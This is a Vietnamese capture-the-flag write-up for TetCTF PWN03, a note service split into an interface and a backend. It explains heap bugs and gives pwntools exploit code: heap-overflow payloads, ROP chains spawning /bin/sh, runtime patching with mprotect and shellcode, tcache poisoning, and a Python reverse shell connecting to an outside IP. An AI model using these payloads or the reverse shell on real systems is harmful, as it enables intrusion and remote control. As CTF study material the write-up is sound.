# TETCTF
## PWN03-FLAG1
* Để lấy flag1 thì ở đây chúng ta phải khai thác được `interface`
* Đầu tiên ta thấy ngay là ở hàm `add_new_note` khi `malloc` cho `content` thì không khởi tạo giá trị ban đầu nên trên chunk được `malloc` sẽ vẫn còn những giá trị cũ nên có thể dùng để leak
```cpp=
if(tmp->note_content){
free(tmp->note_content);
}
tmp->note_content = malloc(content_len);
tmp->note_content_len = content_len;
fgets(tmp->note_content, content_len, stdin);
tmp->note_synced = 0;
```
* Bug tiếp theo ở hàm `note_sync`
```cpp=
Note_t new_note = Note_init(serialize_p->note_title, serialize_p->note_author,serialize_p->note_content_len, serialize_p->note_is_encrypt);
read_count += sizeof(struct NoteSerialize);
Note_t p_note;
DL_SEARCH(notes, search_note, new_note, Note_cmp);
p_note = search_note;
if(!search_note){
p_note = new_note;
}
// update new content
if(!p_note->note_is_encrypt){
memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len);
read_count += new_note->note_content_len;
}
```
* Khi mà có `1` note trên `backend` có cùng `title` và `author` thì chương trình sẽ sao chép `content` ở note trên `backend` vào `content` ở `note` trên `interface`. Ở đây ta thấy nó không check bound trước khi copy và vì `note` trên `interface` có thể không đồng bộ với trên `backend` khi ta dùng hàm `edit_note` nếu `note` không có `is_encrypt` bit thì sẽ chỉ thay đổi trên `interface` do vậy ta có `BOF` ở đây
* Đầu tiên thì mình sẽ leak `stack`. Dùng `heap overflow` để overwrite `1` note trên `interface`, thay đổi field `content`
```py=
payload = b'A'*0x10
payload += p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x10) + p64(0) + p64(libc.symbols['environ']) + p64(heap + 0x370)
payload += p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0)*4 + p64(0xf1)
payload += p64(libc.address + 0x21ace0)*2
payload = payload.ljust(0x200, b'\x00')
new_note(b'a', b'a', 0x200, payload)
note_sync('c')
edit_note(b'a', b'a', 1, b'a')
new_note(b'b', b'b', 1, b'hehe')
note_sync('s')
```
* Ở đây mình thay đổi `content` thành `environ`
* Sau đó lại sử dụng bug này để rop
* Overwrite `content` của `1` note thành `saved rip` của `note_sync`, khi `note_sync` chạy đến `memcpy` của note đó rồi thì ta được ropchain
```py=
ayload += p64(0) + p64(0x21) + b'A'*0x10 + p64(0) + p64(0x91)
payload += p64(0x62) + p64(0)*7 + p64(0x62) + p64(0)*3 + p64(0x10) + p64(0)
payload += p64(stack)
payload += p64(heap + 0x630) + p64(0) + p64(0x21)
payload += p64(libc.address + 0x21ace0)*2
payload += p64(0) + p64(0x91)
payload += p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x200) + p64(0) + p64(heap + 0x400) + p64(heap + 0x770)*2 + p64(0x91)
payload += p64(0x62) + p64(0)*7
payload += p64(0x62) + p64(0)*3
payload += p64(0x50) + p64(0x2)
payload += p64(stack - 0x338) + p64(heap + 0x6e0) + p64(0) + p64(0x61)
payload += p64(0xdeadbeef)
print('len: ', hex(len(payload)))
payload2 = b'hihi'
RET = 0x00000000000baaf9 + libc.address#: xor rax, rax ; ret
rop = ROP(libc)
#rop.raw(RET)
rop.system(next(libc.search(b'/bin/sh\x00')))
#rop.read(0, stack - 0x338, 0x500)
payload2 = rop.chain()
delete_note(b'a', b'a')
delete_note(b'b', b'b')
new_note(b'a', b'a', 0x400, payload)
new_note(b'b', b'b', 0x50, payload2)
note_sync('c')
edit_note(b'a', b'a', 0x200, b'a')
note_sync('s')
```

## PWN03-FLAG2
* Để lấy dc `flag2` thì chúng ta phải dùng `backend` để đọc flag nên ở đây mình sẽ khai thác `backend`
* Có `1` bug ở trên `backend` khi tạo `1` note với flag `is_encrypt` với content ko quá bé thì sau khi `backend` encrypt thì chunk chứa cipher text sẽ bị overwrite size của chunk trước đó. Mình ko khai thác được lỗi này
* Tiếp đến ở `option` `FETCH` khi fetch all tức `note_sync('s')` trên `interface`
```cpp=
DL_FOREACH_SAFE(cur_note, tmp1, etmp)
{
tmp_size = sizeof(struct NoteSerialize);
if (!tmp1->note_is_encrypt)
{
tmp_size += tmp1->note_content_len;
}
if (reply_size + tmp_size > SHM_MEM_MAX_SIZE)
{
DBG("[backend] reply_size(%d) is larger than SHM_MEM_MAX_SIZE, enable truncated mode\n", reply_size + tmp_size);
truncated = 1;
tmp_note2 = tmp1;
break;
}
reply_size += tmp_size;
}
```
* Khi mà `reply_size + tmp_size > SHM_MEM_MAX_SIZE(0x10000)` thì chương trình sẽ dừng và không tăng `reply_msg` nhưng khi tạo `msg` gửi cho `interface` thì duyệt không xót note nào. Vậy chẳng hạn ta có `2` note với `content_len` là `0x400` và `0xfff0` nó sẽ xét tới note `2` cộng thêm `0xfff0` vào thì sẽ không tăng `reply_size` nữa nên `reply_size` ở đây vẫn sẽ tầm `0x4..`(cộng thêm `sizeof(struct NoteCommon)`) nên ở đây ta lại có `heap overflow`
```cpp=
DL_FOREACH_SAFE(cur_note, tmp1, etmp)
{
serialize_p = (NoteSerialize_t)((size_t)reply_msg->msg_content + written_count);
memcpy(&(serialize_p->common), &(tmp1->common), sizeof(struct NoteCommon));
written_count += sizeof(struct NoteSerialize);
DBG("[backend] FETCH: serialize note %s(%s)\n", serialize_p->note_title, serialize_p->note_author);
if (!tmp1->note_is_encrypt)
{
written_count += tmp1->note_content_len;
memcpy(serialize_p->content, tmp1->note_content, tmp1->note_content_len);
}
}
```
* Ở `interface` ban đầu ta không thể tạo `content` chunk quá lớn
```cpp=
printf("How many bytes for content? ");
content_len = read_int();
if(content_len > MAX_CONTENT_LEN){
content_len = MAX_CONTENT_LEN;
}
```
* `MAX_CONTENT_LEN` ở đây là `0x1000`. Cách giải quyết ở đây là dựa trên việc ropchain ở phần trước mình `mprotect` `interface` để sửa lại cách hoạt động của hàm cho cái check size đó trở lên rất lớn
* Vậy thì giờ việc còn lại là xây dựng heap trên `backend` sao cho bug `heap overflow` vừa hay chỉ overwrite `1` byte của field `content` của `1` note và hạn chế phá heap
* Payload của mình nối tiếp ở `flag1`
```py=
delete_note(b'a', b'a')
delete_note(b'b', b'b')
payload = p64(0x61) + p64(0)*7
payload += p64(0x61) + p64(0)*3
payload += p64(0x390) + p64(0)*8
new_note(b'a', b'a', 0xf910, b'a')
note_sync('c')
new_note(b'nao', b'nao', 0x600, b'nao')
note_sync('c')
new_note(b'b', b'b', 0xfff0, b'b')
note_sync('c')
payload = p32(0) + p64(0x100) + p64(0)*5 + b'\x00'
new_note(b'c'*0x8 + p64(0xb1), b'c'*0x18, 53, payload)
note_sync('c')
delete_note(b'b', b'b')
```

* Ban đầu

* Sau đó

* Như vậy là ta có thể đưa heap kia vào `content` của `1` note trên `interface` nhưng vì `NULL` byte nên mình ko thể dùng `option` `List Note` để đọc
* Dựa vào ropchain ban đầu mình sửa luôn hàm `Read_note` thành arbitrary read luôn
```py=
new_read_note = 'sub rsp, 0x80\n'
new_read_note += shellcraft.read(0, interface.symbols['notes'] + 8, 8)
new_read_note += '\n mov rsi, [rsi]\n'
new_read_note += shellcraft.write(1, 'rsi', 0x100)
new_read_note += '\nadd rsp, 0x80'
new_read_note += ' \nret'
```
* Patch lại `interface`
```py=
rop_elf.raw(interface.symbols['note_main'] + 122)
rop_libc.mprotect(interface.address + 0x2000, 0x3000, 7)
rop_libc.rsi = interface.symbols['edit_note'] + 525
rop_libc.rdi = 0x0fc5390001ffffb8
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.rsi = interface.symbols['add_new_note'] + 621
rop_libc.rdi = 0xc439410001ffffb8
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.rsi = interface.symbols['add_new_note'] + 254
rop_libc.rdi = 0x0fd0390001ffffba
rop_libc.raw(MOV_PRSI_RDI)
rop_libc.read(0, interface.symbols['read_note'], 0x200)
rop_libc.raw(RET)
payload += rop_libc.chain() + rop_elf.chain()
```
* Đoạn tiếp sau đây của mình chỉ hoạt động trên local còn khi chạy trên server thì sau khi leak được heap của `backend` thì hình như `backend` crash nên không thể kết nối được nữa
* Tiếp theo dựa vào `heap overflow` thì mình overwrite được tcache cho trỏ về `1` note hiện tại để mình có thể sửa `content` tùy ý mà leak. Đoạn này rất mệt vì nó phá heap với struct nhiều làm mãi mới xây dựng được `1` cái payload chạy dc(mình đọc lại cũng chẳng hiểu gì)

* Như ta thấy `next_note` và `content` đều trỏ cùng `1` chunk nên mình thay đổi `content` để leak `libc` và `stack`
* Sau thì mình fake tcache lần nữa nma giờ không thể làm được `heap overflow` với cái kiểu `reply_msg + tmp_size > 0x10000` heap giờ nát quá rồi không chạy được cái đó nữa thì ở đây do có thể control được hoàn toàn `1` note mình thay đổi control vì mình có thể `arbitrary free` `1` chunk bất kì. Mình chỉ cần tìm trước `1` cái tcache chunk nào đó có `1` số data mà mình kiểm soát từ trước đó rồi craft fake chunk


* Lúc đầu cái `aa...` kia là `1` cái string khác mà mình biết ngay là tên của `1` note mình tạo nên mình biết là mình control được rồi mình set `0x151` ở kia thôi
```py=
new_note(b'a'*8 + p32(0x151), b'fake', 0xc0, fake_chunk)
```
* `free` rồi `malloc` chunk vừa rồi để overwrite tcache thành `saved rip - 0x10` của `memcpy` rồi tạo reverse shell do mình không thể interact trực tiếp với `backend`
```py=
PYTHON3 = env_back - 0x298 - 8 - 0x10 + 0xa0
C = PYTHON3 + 1 + len('/bin/python3')
REVERSE_ADDR = C + 1 + len('-c')
REVERSE = b'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("193.161.193.99",26863));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
back_rop = ROP(libc_back)
flag = b'/home/nao/flag\x00r\x00'.ljust(0x18, b'\x00')
back_rop.raw(0)
back_rop.raw(0)
back_rop.raw(0)
back_rop.execve(PYTHON3, PYTHON3 - 0x40, 0)
payload = back_rop.chain()
payload = payload.ljust(0xa0 - 0x40, b'\x00')
payload += p64(PYTHON3)
payload += p64(C)
payload += p64(REVERSE_ADDR)
payload += p64(0)*5
payload += b'/bin/python3\x00' + b'-c\x00' + REVERSE + b'\x00'
```


* Tiếc là trên server chạy ko ăn:((
* Chạy dc trên server sau 10ph đợi script
